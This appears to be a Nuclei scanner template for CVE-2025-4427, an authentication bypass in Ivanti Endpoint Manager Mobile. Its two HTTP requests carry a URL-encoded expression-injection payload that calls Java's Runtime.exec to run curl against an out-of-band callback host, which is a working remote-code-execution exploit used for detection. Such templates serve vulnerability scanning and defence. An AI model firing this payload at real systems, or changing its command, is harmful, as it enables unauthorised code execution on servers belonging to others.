id: CVE-2025-4427 info: name: "Ivanti Endpoint Manager Mobile - Authentication Bypass" author: vedas-arpsyndicate severity: critical description: | An authentication bypass in the API component of Ivanti Endpoint Manager Mobile 12.5.0.0 and prior allows attackers to access protected resources without proper credentials via the API. reference: - https://www.exploit.observer/?keyword=CVE-2025-4427&match=exact - https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2025-4427 cwe-id: CWE-288 metadata: verified: false tags: cve,cve2025,ivanti,epmm,rce,ssti,kev,vkev,vuln http: - raw: - | GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}} - | GET /api/v2/featureusage?adminDeviceSpaceId=131&format=%24%7b''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('curl%20{{interactsh-url}}')%7d HTTP/1.1 Host: {{Hostname}} stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "localizedMessage" - type: regex part: body regex: - "Format 'Process\\[pid=" - "Format 'java\\.lang\\.UNIXProcess@[0-9a-f]+'" condition: or - type: word part: interactsh_protocol words: - dns - type: status status: - 400